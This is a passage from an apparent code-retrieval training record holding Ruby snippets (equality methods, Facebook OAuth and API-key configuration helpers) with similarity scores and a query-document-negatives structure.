o.to_ts &&\n type == o.type &&\n type_id == o.type_id\n end", "def equal?(other)\n object_id == other.object_id\n end", "def == other\n return false unless self.class == other.class\n [:unit, :frequency, :anchor, :weeks, :monthdays, :weekdays, :times].all? do |attribute|\n self.send(attribute) == other.send(attribute)\n end\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n id == o.id &&\n created == o.created &&\n modified == o.modified &&\n company_name == o.company_name &&\n domain_name == o.domain_name &&\n state == o.state &&\n billing_email == o.billing_email &&\n plan_name == o.plan_name &&\n plan_expires == o.plan_expires &&\n application_limit == o.application_limit &&\n user_limit == o.user_limit &&\n campaign_limit == o.campaign_limit &&\n api_limit == o.api_limit &&\n application_count == o.application_count &&\n user_count == o.user_count &&\n campaigns_active_count == o.campaigns_active_count &&\n campaigns_inactive_count == o.campaigns_inactive_count &&\n attributes == o.attributes\n end", "def == other\n self.object_id == other.object_id\n end", "def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n apm_scanned_bytes == o.apm_scanned_bytes &&\n events_scanned_bytes == o.events_scanned_bytes &&\n hour == o.hour &&\n logs_scanned_bytes == o.logs_scanned_bytes &&\n org_name == o.org_name &&\n public_id == o.public_id &&\n rum_scanned_bytes == o.rum_scanned_bytes &&\n total_scanned_bytes == o.total_scanned_bytes\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n action == o.action &&\n attachments == o.attachments &&\n attendees == o.attendees &&\n description == o.description &&\n duration == o.duration &&\n repeat == o.repeat &&\n summary == o.summary &&\n trigger == o.trigger\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n title_code == o.title_code &&\n _class == o._class &&\n tenure == o.tenure &&\n commonhold == o.commonhold &&\n addresses == o.addresses &&\n is_not_main_title == o.is_not_main_title &&\n is_scottish == o.is_scottish &&\n purchase_register_entry_date == o.purchase_register_entry_date &&\n purchase_prices == o.purchase_prices &&\n purchase_dates == o.purchase_dates\n end", "def eql?(other)\n self.class == other.class && self.id == other.id\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n name == o.name &&\n value == o.value &&\n timestamp == o.timestamp &&\n source_id == o.source_id &&\n source_label == o.source_label &&\n source == o.source &&\n selected_by_user == o.selected_by_user &&\n selected_by_user_timestamp == o.selected_by_user_timestamp &&\n source_vid == o.source_vid &&\n source_metadata == o.source_metadata &&\n request_id == o.request_id &&\n updated_by_user_id == o.updated_by_user_id &&\n persistence_timestamp == o.persistence_timestamp &&\n use_timestamp_as_persistence_timestamp == o.use_timestamp_as_persistence_timestamp\n end", "def ==(other)\n self.class == other.class &&\n name == other.name &&\n age == other.age &&\n gender == other.gender &&\n species == other.species &&\n toys == other.toys\n end", "def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end", "def ==(other)\n BSON::ObjectId === other && data == other.data\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n additional_query_filters == o.additional_query_filters &&\n data_source == o.data_source &&\n group_mode == o.group_mode &&\n measure == o.measure &&\n name == o.name &&\n slo_id == o.slo_id &&\n slo_query_type == o.slo_query_type\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n self_uri == o.self_uri &&\n alternate_links == o.alternate_links &&\n name == o.name &&\n width == o.width &&\n height == o.height &&\n alternative_text == o.alternative_text &&\n alternative_text_title == o.alternative_text_title &&\n hidden == o.hidden &&\n x == o.x &&\n y == o.y &&\n z_order_position == o.z_order_position &&\n fill_format == o.fill_format &&\n effect_format == o.effect_format &&\n three_d_format == o.three_d_format &&\n line_format == o.line_format &&\n hyperlink_click == o.hyperlink_click &&\n hyperlink_mouse_over == o.hyperlink_mouse_over &&\n type == o.type &&\n shape_type == o.shape_type &&\n audio_cd_end_track == o.audio_cd_end_track &&\n audio_cd_end_track_time == o.audio_cd_end_track_time &&\n audio_cd_start_track == o.audio_cd_start_track &&\n audio_cd_start_track_time == o.audio_cd_start_track_time &&\n embedded == o.embedded &&\n hide_at_showing == o.hide_at_showing &&\n play_loop_mode == o.play_loop_mode &&\n play_mode == o.play_mode &&\n volume == o.volume &&\n base64_data == o.base64_data &&\n play_across_slides == o.play_across_slides &&\n rewind_audio == o.rewind_audio &&\n picture_fill_format == o.picture_fill_format\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n name == o.name &&\n time_period_ids == o.time_period_ids &&\n discount_id == o.discount_id &&\n match_products_id == o.match_products_id &&\n apply_products_id == o.apply_products_id &&\n exclude_products_id == o.exclude_products_id &&\n valid_from_date == o.valid_from_date &&\n valid_from_local_time == o.valid_from_local_time &&\n valid_until_date == o.valid_until_date &&\n valid_until_local_time == o.valid_until_local_time\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n denominator == o.denominator &&\n interval == o.interval &&\n message == o.message &&\n numerator == o.numerator &&\n query == o.query &&\n res_type == o.res_type &&\n resp_version == o.resp_version &&\n times == o.times\n end", "def == other\n self.id == other.id\n end", "def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end", "def ==(x)\n return true if object_id == x.object_id\n return false unless x.kind_of?(AttrArray)\n each_with_index do |a, n|\n return false unless a == x[n]\n end\n true\n end", "def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n action == o.action &&\n api_version == o.api_version &&\n deprecated_count == o.deprecated_count &&\n deprecated_first_timestamp == o.deprecated_first_timestamp &&\n deprecated_last_timestamp == o.deprecated_last_timestamp &&\n deprecated_source == o.deprecated_source &&\n event_time == o.event_time &&\n kind == o.kind &&\n metadata == o.metadata &&\n note == o.note &&\n reason == o.reason &&\n regarding == o.regarding &&\n related == o.related &&\n reporting_controller == o.reporting_controller &&\n reporting_instance == o.reporting_instance &&\n series == o.series &&\n type == o.type\n end" ]
[ "0.63438", "0.6166008", "0.6055623", "0.6035411", "0.59687793", "0.5954784", "0.592835", "0.58992124", "0.58874065", "0.5851626", "0.58433586", "0.58295804", "0.5818325", "0.5792605", "0.5791253", "0.5784055", "0.57769924", "0.5752911", "0.5746401", "0.57272226", "0.5713851", "0.5712309", "0.5708955", "0.5702319", "0.56811994", "0.56736976", "0.56612575", "0.56400806", "0.56363404", "0.56281334", "0.5627363", "0.5614974", "0.5604514", "0.5601649", "0.55976075", "0.5595964", "0.55950505", "0.55754", "0.5558834", "0.555225", "0.55503684", "0.5547699", "0.5547699", "0.55382293", "0.55368215", "0.5533545", "0.55319905", "0.5520569", "0.55167234", "0.5513794", "0.54923403", "0.54900116", "0.54887223", "0.5480214", "0.54702616", "0.5469488", "0.54690903", "0.5466329", "0.54607", "0.545467", "0.5446885", "0.54424417", "0.54415417", "0.54357773", "0.54255825", "0.5418702", "0.5416102", "0.5407115", "0.54014754", "0.53946465", "0.5393761", "0.5392677", "0.53902614", "0.53875524", "0.53870153", "0.5381224", "0.53779525", "0.5373173", "0.5368775", "0.5367227", "0.5367167", "0.53667945", "0.5366446", "0.53654724", "0.53606373", "0.5356906", "0.5354428", "0.5353865", "0.53519213", "0.53508866", "0.53398305", "0.5338409", "0.53381616", "0.533579", "0.5335159", "0.5334633", "0.5328865", "0.53283715", "0.5319335", "0.5311512" ]
0.623989
1
REQUIRED Your Facebook API secret key. Default: nil Accepts: String
def facebook_secret_key(value=nil) rw_config(:facebook_secret_key, value, nil) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook_api_key\n raise APIKeyNeededException\n end", "def facebook_api_key\n raise APIKeyNeededException\n end", "def fb_appid_and_secret_key(facebook_appid, facebook_secret)\n if facebook_appid.is_a?(String) && facebook_secret.is_a?(String)\n @facebook_appid_global = facebook_appid\n @facebook_secret_global = facebook_secret\n else\n raise BadFacebookAppIDAndSecretKey, 'Facebook AppID and secret key ' \\\n 'must be strings (input classes: ' \\\n \"#{facebook_appid.class} and #{facebook_secret.class})\"\n end\n end", "def secret_key; end", "def opaque(secret_key); end", "def secret_key\n \"\"\n end", "def facebook_api_key(value=nil)\n rw_config(:facebook_api_key, value, nil)\n end", "def client_secret; end", "def facebook_oauth\n # Insert your own Facebook client ID and secret here\n # auth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n @facebook_oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"])\n\n\n\n end", "def app_secret\n Facebook::Messenger.config.app_secret\n end", "def client_secret=(client_secret); end", "def client_secret=(client_secret); end", "def secret_key_params\n params.require(:secret_key).permit(:secretKey)\n end", "def secret_code_params\n params.require(:secret_code).permit(:secret_key)\n end", "def openid_client_secret; end", "def consumer_secret; config[:consumer_secret]; end", "def set_secret_key\n @secret_key = SecretKey.find(params[:id])\n end", "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end", "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end", "def secret\n @secret or raise MissingSecret\n end", "def api_key\n '' \nend", "def fb_app_id\n ENV['facebook_app_id']\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n end", "def api_key; end", "def api_key; end", "def getFacebookAppId\n config = YAML.load_file(\"#{Rails.root}/config/keys.yml\")\n config[\"FacebookAppId\"]\n end", "def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end", "def app_secret_for(facebook_page_id)\n Facebook::Messenger.config.provider.app_secret_for(facebook_page_id)\n end", "def call\n JsonWebToken.encode_secret( { app_id: app_id, key: key } )\n end", "def api_key\n 'your_api_key'\nend", "def access_token\n token = ArticleJSON.configuration.facebook_token\n\n if token.nil?\n raise 'You need to configure the facebook token to use facebook' \\\n 'embed videos, see:' \\\n 'https://github.com/Devex/article_json#facebook-oembed'\n end\n token\n end", "def token_secret; end", "def token_secret; end", "def token_secret; end", "def get_access_key\n return \"AIzaSyBUKwL2ClTAaKwn1csWuOOhNgKj5kv3QeA\"\nend", "def initialize(key, secret)\n super()\n self.key = key\n self.secret = secret\n end", "def secretkey(apikey)\n get 'secretkey', {apikey: apikey} { |x| x['secretkey'] }\n end", "def openid_client_secret=(_arg0); end", "def initialize(secret)\n @secret = secret\n end", "def initialize(access_key, secret_key)\n @access_key = access_key\n @secret_key = secret_key\n end", "def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end", "def client_secret=(_arg0); end", "def fill_fb_credentials\n\n fill_in FB_EMAIL_OR_ID_FIELD,with:FB_USER_ID\n fill_in FB_PASSWORD_FIELD,with:FB_USER_PASSWORD\n\nend", "def app_secret_for(page_id)\n TeleConfig[:conf]['fb_app_secret']\n end", "def require_api_token\n end", "def load_facebook_api\n return if !@facebook_api.nil?\n \n # Find the user token\n auth = authorizations.where(:provider => 'facebook').first\n if !auth.nil?\n @facebook_api = Koala::Facebook::API.new(auth.token)\n else\n raise 'User does not have a Facebook authorization.'\n end\n end", "def token_secret; config[:token_secret]; end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def set_APISecret(value)\n set_input(\"APISecret\", value)\n end", "def check_secret\n fail 'Secret must be initialized' if @secret.nil?\n end", "def facebook\n handle_oauth\n end", "def secret_key\n credentials['secret_key']\n end", "def secret_key\n credentials['secret_key']\n end", "def facebook_client\n FacebookClient.new FB_CONFIG[:client_id], FB_CONFIG[:secret_id],\n session[:access_token]\n end", "def secret_code_params\n params.require(:secret_code).permit(:secret_code, :user_id)\n end", "def api_key\n key\n end" ]
[ "0.7392266", "0.7392266", "0.67358077", "0.6700456", "0.66836196", "0.6628552", "0.65552646", "0.64304787", "0.63209134", "0.6284181", "0.6282371", "0.6282371", "0.6217353", "0.6212673", "0.6121422", "0.61012185", "0.6090833", "0.6052135", "0.6052135", "0.60490483", "0.6041928", "0.6008709", "0.6008089", "0.60019016", "0.60019016", "0.5977466", "0.5950224", "0.5948816", "0.5940753", "0.5940201", "0.5936151", "0.59181195", "0.59181195", "0.59181195", "0.5881102", "0.58760357", "0.5863125", "0.5858329", "0.5832892", "0.58291954", "0.58250207", "0.58249813", "0.58077675", "0.5807417", "0.580489", "0.57875764", "0.5785384", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5783362", "0.5766645", "0.57658315", "0.57656777", "0.57656777", "0.57575566", "0.57547444", "0.5747352" ]
0.692884
4
Which user field should be used for the facebook UID? Default: :facebook_uid Accepts: Symbol
def facebook_uid_field(value=nil) rw_config(:facebook_uid_field, value, :facebook_uid) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook_username_field(value=nil)\n rw_config(:facebook_username_field, value, :facebook_username)\n end", "def facebook_uid\n @json['uid']\n end", "def facebook_id=(uid)\n self.uid = uid\n end", "def facebook_id \n self.facebook_auth_cache.uid\n end", "def user_key\n uid\n end", "def uid; end", "def user_type; end", "def uid\n return nil unless user_id\n user_id.split('/').first\n end", "def uid\n return nil unless user_id\n user_id.split('/').first\n end", "def name\n if facebook_authentication && facebook_authentication.display_name\n return facebook_authentication.display_name\n end\n return username\n end", "def uid(*) end", "def uid\n read_attribute :uid\n end", "def user_type\n if self.class.name == \"PubcookieUser\"\n type = self.identity_type == \"Student\" ? self.identity_type : \"UW Standard user\"\n else\n type = \"External user\"\n end\n type\n end", "def facebook(name: T.unsafe(nil), email: T.unsafe(nil), username: T.unsafe(nil), uid: T.unsafe(nil)); end", "def get_user_id_option(value)\n return value ? \"User Id=#{value}\" : nil\n end", "def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end", "def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end", "def to_param; uid end", "def to_param; uid end", "def to_param\n\t\tuid\n\tend", "def uid\n \"#{user_id}-#{team_id}\"\n end", "def uid() end", "def user_id_parameter\n \"#{user_parameter}_id\".to_sym\n end", "def _user? name\n\t\tuid = Sdb[:_user].filter(:name => name).get(:uid)\n\t\tuid ? uid : nil\n\tend", "def get_uid_int\n self.uid.to_i\n end", "def fb_user\n FbGraph::User.me(fb_token)\n end", "def user_uid=(uid=\"\")\n if uid != \"\"\n write_attribute(:user_uid, uid)\n end\n end", "def set_FacebookID(value)\n set_input(\"FacebookID\", value)\n end", "def set_FacebookID(value)\n set_input(\"FacebookID\", value)\n end", "def current_user\n User.find_by(facebook_id: params[:facebook_id])\n end", "def user_id; 1; end", "def uid\n @uid\n end", "def request_uid(*args)\n uid\n end", "def request_uid(*args)\n uid\n end", "def request_uid(*args)\n uid\n end", "def user_id\n username\n end", "def facebook\n @fb_user ||= FbGraph::User.me( self.authentications.find_by_provider('facebook').token)\n end", "def to_s\n uid\n end", "def to_s\n uid\n end", "def id_string\n return \"user_\"+self.username\n end", "def identifier_for(scheme)\n identifiers.by_scheme_name(scheme, 'User')&.first\n end", "def user_id\n raise \"Implement in Client or Advocate\"\n end", "def uid\n @uid ||= (@in['uid_hi'] << 16) | @in['uid_lo']\n end", "def user_name\n decode_string_member(:user_name)\n end", "def facebook\n @fb_user ||= FbGraph::User.me(self.authentications.find_by_provider('facebook').token)\n @fb_user.fetch\n end", "def uid_to_username(uid)\n uid = Integer(uid)\n Etc.getpwuid(uid).name\n end", "def get_connecting_uid\n request.params[:uid]\n end", "def user_name(uid)\n deter_lab.get_profile(uid).try(:[], \"name\")\n end", "def get_fb_user_name\n return self.facebook_user.now_profile.first_name unless self.facebook_user.nil? || self.facebook_user.now_profile.nil? \n return Event::NOW_BOT_NAME \n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def set_UserID(value)\n set_input(\"UserID\", value)\n end", "def facebook_profile\n @network = current_user.network ||= Network.new\n (@network.facebook.nil?) ? \"\" : @network.facebook\n end", "def profile(username = nil, uid = nil)\n\n end", "def get_user_id\n # TODO: #6. Complete the function to return your user id\n user_id = 'Put your user ID here'\n end", "def user_column\n IdMethods::USER_COLUMN\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end", "def identify(fb_user)\n user = find_or_initialize_by_identifier(fb_user.identifier.try(:to_s))\n user.access_token = fb_user.access_token.to_s\n user.save!\n user\n end", "def user_name\n if /(.*)-\\d{8}-\\d{6}$/ =~ perma_link\n return $1\n else\n return \"unknown\"\n end\n end", "def user_id\n if (id = (@opts[:user_id] || @opts['user_id'])) && id.respond_to?(:to_s)\n if (id = id.to_s).size > 0 && id != '0'\n return id\n end\n end\n end", "def uid\n (@in['uid_hi'] << 16) | @in['uid_lo']\n end", "def user_display_name\n @attributes[:user_display_name]\n end", "def uid\n# ustr = \"u#{user_id}t#{target_type}#{target_id}c#{created_at.strftime('%d%m%y%H%M%S')}\"\n # ustr.to_i(36)\n# ustr.hash.abs.to_i\n\n # Make a simple string of attributes concatenated together to act as an ID\n case target_type\n when \"Conversation\"\n ustr = \"1\"\n when \"Feedback\"\n ustr = \"2\"\n when \"FeedbackRequest\"\n ustr = \"3\"\n when \"Availability\"\n ustr = \"4\"\n else\n ustr = \"5\"\n end\n ustr = \"#{ustr}#{user_id}#{target_id}#{created_at.strftime('%d%m%y%H%M%S')}\"\n return ustr.to_i\n end", "def setme\n # retrieve the user name\n id = %x{id}.chomp\n if id =~ /uid=\\d+\\(([^\\)]+)\\)/\n @me = $1\n else\n puts id\n end\n raise \"Could not retrieve user name; 'id' did not work\" unless defined?(@me)\n end", "def facebook_name_field(value=nil)\n rw_config(:facebook_name_field, value, :name)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end", "def set_UserId(value)\n set_input(\"UserId\", value)\n end" ]
[ "0.7167493", "0.69711494", "0.6904324", "0.6808077", "0.66940546", "0.64666176", "0.64404964", "0.6380656", "0.6380656", "0.6374098", "0.6320631", "0.6308464", "0.6275855", "0.627123", "0.62686336", "0.62453175", "0.62453175", "0.62402475", "0.62402475", "0.62355006", "0.6228667", "0.6205925", "0.61924356", "0.61564815", "0.6149975", "0.614907", "0.6127654", "0.61220294", "0.61220294", "0.6113564", "0.6078763", "0.6077835", "0.6053279", "0.6053279", "0.6053279", "0.60371387", "0.60330325", "0.60233593", "0.60233593", "0.599761", "0.5980013", "0.597448", "0.5967664", "0.5966169", "0.594952", "0.593814", "0.5935269", "0.5923262", "0.5917695", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.5909863", "0.59097224", "0.59097224", "0.5909242", "0.5907146", "0.5899284", "0.5897337", "0.58911026", "0.58898234", "0.58883333", "0.5879964", "0.5872988", "0.5872014", "0.5862105", "0.58448166", "0.58391714", "0.5838417", "0.5834254", "0.5830149", "0.5830149", "0.58296084", "0.58296084", "0.58296084", "0.58296084", "0.58296084", "0.58296084", "0.58290213" ]
0.79186606
2
Which user field should be used for the facebook access token? Default: :facebook_access_token Accepts: Symbol
def facebook_access_token_field(value=nil) rw_config(:facebook_access_token_field, value, :facebook_access_token) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook_access_token(options={})\n if current_user\n manager = self.store.managers.find_by_user_id(current_user)\n if manager.nil?\n unless current_user.admin?\n logger.error \"***** unathorized access by user #{current_user.id}\"\n end\n nil\n else\n manager.facebook_access_token\n end\n else\n self.store.managers[0].facebook_access_token\n end\n end", "def fb_token\n\t x = self.authentications.find_by(provider: 'facebook')\n\t return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n \tx = self.authentications.where(:provider => :facebook).first\n \treturn x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.where(:provider => :facebook).first\n return x.token unless x.nil?\n end", "def fb_token\n\t x = self.authentications.find_by(provider: 'facebook')\n\t return x.token unless x.nil?\n\tend", "def fb_token\n x = self.authentications.where(:provider => :facebook).first\n return x.token unless x.nil?\n end", "def access_token\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n\t\tx = self.authentications.where(:provider => :facebook).first\n\t\treturn x.token unless x.nil?\n\tend", "def get_user_access_token \n @user.instagram_access_token\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def fb_token\n x = self.authentications.find_by(provider: 'facebook')\n return x.token unless x.nil?\n end", "def facebook_username_field(value=nil)\n rw_config(:facebook_username_field, value, :facebook_username)\n end", "def fb_user\n FbGraph::User.me(fb_token)\n end", "def token_type\n target_audience ? :id_token : :access_token\n end", "def user_access_token \n session[:access_token]\n end", "def access_token_prefix\n \"Token\"\n end", "def scim_oauth_access_token\n @attributes[:scim_oauth_access_token]\n end", "def get_info_token_oauth\n response = HTTParty.get('https://graph.facebook.com/debug_token?input_token='+@password+'&access_token='+ENV[\"APP_ID_FACEBOOK\"]+'|'+ENV[\"SECRET_KEY_FACEBOOK\"])\n if response.code == 200\n body = JSON.parse(response.body)\n if body['data']['is_valid']\n return body['data']['user_id']\n else\n errors.add(:token, 'Token not valid')\n end\n else\n errors.add(:token, 'Token not valid')\n end\n nil\n end", "def token_type\n \"Bearer\"\n end", "def facebook\n @fb_user ||= FbGraph::User.me( self.authentications.find_by_provider('facebook').token)\n end", "def key_for(token)\n \"afid-access-token:#{token}\".to_sym\n end", "def set_facebook_token\n @facebook_token = current_user.facebook_token\n end", "def facebook_token_params\n params.require(:facebook_token).permit(:token, :network_user_id, :network_user_name, :network_user_image_url)\n end", "def access_token\n Rails.configuration.fb.messenger.access_token\n end", "def token_type\n 'Bearer'\n end", "def facebook\n @fb_user ||= FbGraph::User.me(self.authentications.find_by_provider('facebook').token)\n @fb_user.fetch\n end", "def name\n if facebook_authentication && facebook_authentication.display_name\n return facebook_authentication.display_name\n end\n return username\n end", "def ACCESS_TOKEN\n return '74d84308fb5a4bc795ab17b87c46e0e5'\n end", "def find_oauth_access_token\n end", "def user_params\n params.require(:user).permit(:token, :provider, :refreshToken, {:profile => facebook_profile_params})\n end", "def to_param\n self.access_token\n end", "def oauth_token\n read_attribute(oauth_token_field)\n end", "def current_user\n User.find_by(facebook_id: params[:facebook_id])\n end", "def personal_access_token # :yields: String\n @@token\n end", "def user_params\n params.permit(:username, :facebook_connection, :apn_token)\n end", "def get_user_info\n userTokenInfo = request.env['oauth.token']\n @user = userTokenInfo.user\n end", "def token\n @access_token.token\n end", "def token_user_id\n decoded_token.first['id']\n end", "def access_token; self; end", "def access_token\n @access_token\n end", "def identify(fb_user)\n user = find_or_initialize_by_identifier(fb_user.identifier.try(:to_s))\n user.access_token = fb_user.access_token.to_s\n user.save!\n user\n end", "def current_user\n authenticate_token\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def authenticate(fb_user)\n \n \n end", "def user_id\n decoded_token.first['user_id']\n end", "def owner_token\n end", "def user_from_code(temp_code)\n MiniFB.get(access_token(temp_code), \"me\")\n end", "def parse_facebook_user_data\n access_token = 